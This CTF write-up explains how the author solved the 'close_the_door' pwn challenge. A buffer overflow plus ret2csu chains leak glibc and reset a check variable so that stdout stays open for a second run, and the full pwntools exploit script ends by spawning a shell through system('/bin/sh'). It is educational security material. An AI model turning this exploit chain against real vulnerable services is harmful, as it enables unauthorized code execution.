Tags: misc ret2csu pwn fclose
Rating:
This challenge was labelled as `Misc` but it really felt like a `Pwn`...
When you run the code, it'll ask you for 3 inputs:
1. Will write up to `0xf` characters into the `bss` somewhere. The variable is called `companion`
2. Will ask you to "look around" and choose an option
3. If you choose the right option, it'll land you in `hidden_func` with another input that has an obvious BOF
For #2, the option that triggers the `hidden_func` is `42`. You can find this by reversing the binary in Ghidra.
Now that you have a BOF, it should be relative easy, right?
Not really beacuse the `hidden_func` will allow you to run it just once before it "closes the door", i.e. it will run `fclose(stdout); fclose(stderr);`
This means that if you use your BOF to leak `glibc`, then go back to the `hidden_func` to use your new `glibc` leak, you can try to extract the flag but you won't be able to read it from stdout.
(At first I thought this was an FSOP attack: file system oriented programming. I had no idea what to do there...)
So what can we do?
The way the binary checks to see if you're in the first run or second, third, or fourth run of `hidden_func` is by modifying a variable called `check`. It's located in the `bss` region somewhere.
My strategy was to ensure that any ROP chain I used in the BOF will reset the `check` variable back to `0` (`0` -> first run, `!= 0` -> not first run -> `fclose()`).
I used the `ret2csu` technique to get all the registers correct. In `ret2csu` you also need to provide a function to call. In normal `ret2csu`, you would call something like `_fini` which simply does `sub rsp 8; add rsp 8; ret` which essentially means it'll do nothing. Returning from `ret2csu` would then return to a function you want to run. However, when I tried this, I found that loading a canary in `glibc` would cause a segfault (asm: `mov rax, qword ptr fs:0x28;`) (I think it was because I was messing with `rsp` too much and `fs` references `rsp` in some way?).
Therefore, in the first input where it asks for the `companion` variable contents, I simply put in the `plt` addresses of `read()` and `write()` thereby creating references to those functions in a place I know (PIE is disabled, thankfully!). So instead of running `_fini` in the `ret2csu` `call`, you would run `read()` or `write()` with all 3 registers `rdi`, `rsi`, `rdx` under your control.
This power means we can:
1. Write a `glibc` value to stdout (I chose the GOT address of `write()`)
2. Modify the `check` variable to revert it back to `0`
3. Do some cleaning up of registers because of some other checks (`hidden_func` also checks if `rdi` is `1` and `exit()`s if it isn't)
4. Go back to `hidden_func` where we can use the `glibc` leak without closing stdout
(The below code is based off of `pwninit` and `pwntools` templates)
```
#!/usr/bin/python3
# -*- coding: utf-8 -*-
from pwn import *
exe = ELF("./close_the_door")
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.27.so")
context.binary = exe
context.terminal = ["tmux", "splitw", "-v"]
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.GDB:
return gdb.debug([ld.path, exe.path], env={"LD_PRELOAD": libc.path}, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE:
return remote("REMOTE IP", "REMOTE PORT")
else:
#return process([exe.path] + argv, *a, **kw)
return process([ld.path, exe.path], env={"LD_PRELOAD": libc.path})
gdbscript = '''
'''.format(**locals())
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
csu1 = 0x00400b4a
csu2 = 0x00400b30
def ret2csu(rdi, rsi, rdx, retfunc):
xpl = pack(csu1)
xpl += pack(0x0)
xpl += pack(0x1)
xpl += pack(retfunc)
xpl += pack(rdi)
xpl += pack(rsi)
xpl += pack(rdx)
xpl += pack(csu2)
xpl += pack(0x0) * 7
return xpl
io = start()
pop_rdi = 0x0000000000400b53 # pop rdi ; ret
rc = ROP(exe)
cut = cyclic_find('saaa')
xpl = cyclic(cut)
xpl += ret2csu(0x1, exe.sym.got.write, 0x10, (exe.sym.companion + 0x8))
xpl += ret2csu(0x0, exe.sym.check, 0x10, exe.sym.companion)
xpl += pack(pop_rdi)
xpl += pack(0x1)
xpl += pack(exe.sym.hidden_func)
io.sendlineafter("> ", (pack(exe.sym.plt.read) + pack(exe.sym.plt.write))[:0xf]) # fill 0xf characters into the companion variable in the bss
io.sendlineafter("> ", "42") # trigger the hidden function
io.sendafter("> ", xpl)
# Now we extract the leaked glibc
leak = io.recv()
leak = leak.strip().split(b"\x00")
leak = leak[0]
leak = unpack(leak.ljust(8, b'\0'))
log.info("glibc leak @ {}".format(hex(leak)))
libc.address = leak - 0x110210
log.info(" glibc base @ {}".format(hex(libc.address)))
io.send("\x00") # overwrites 'check' to be back to 0
pause()
"""
None of these one gadgets seem to work...
"""
og1 = libc.address + 0x4f3d5
og2 = libc.address + 0x4f432
og3 = libc.address + 0x10a41c
binsh = next(libc.search(b"/bin/sh"))
"""
redo now with glibc leak
"""
log.info("got libc leak. time to go back to do it again")
xpl = cyclic(cut)
xpl += pack(pop_rdi)
xpl += pack(binsh)
xpl += pack(libc.sym.system) # essentially does system("/bin/sh")
io.sendlineafter("> ", xpl)
io.interactive()
```
Bro, can you please create a video explaining this? I know you tried your best to explain using text, but I can't exactly understand how you did it.